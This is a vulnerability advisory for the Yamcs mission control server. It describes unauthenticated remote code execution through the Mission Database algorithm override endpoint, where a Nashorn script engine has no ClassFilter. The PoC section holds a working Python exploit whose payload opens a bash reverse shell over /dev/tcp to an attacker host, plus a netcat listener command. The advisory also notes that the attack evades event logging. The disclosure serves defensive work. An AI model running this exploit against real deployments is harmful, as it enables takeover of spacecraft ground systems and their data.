Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

// L46-53  Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
                && candidate.getNames().contains(language))
        .findFirst().orElse(null);
if (factory != null) {
    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied
}

// L109  user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
→ AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
→ ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
→ scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).

Attacker-side listener:

nc -lvnp 4444

#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})

<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact

Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can:
- forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
- install a persistent backdoor via the same primitive.

Who is impacted:
- All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090).
- Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.

Affected Versions

All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.

• First vulnerable release: yamcs-4.7.3 (2018-11-22). Introduced in commit 951e505d18a3912813b59edc685cbcbd4c609906 ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the ChangeAlgorithmRequest RPC (later renamed UpdateAlgorithmRequest) and routed it as PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}.
• Routing change at yamcs-5.5.0 (2021-04): the endpoint was split out of MdbApi into MdbOverrideApi and moved to PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlying scriptEngine.eval(...) sink and the missing ClassFilter are identical.
• Latest release: yamcs-5.12.6 (commit f1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java, AlgorithmManager.java, ScriptAlgorithmExecutorFactory.java, SecurityStore.java) are unchanged between 5.12.6 and current master (96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.

In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).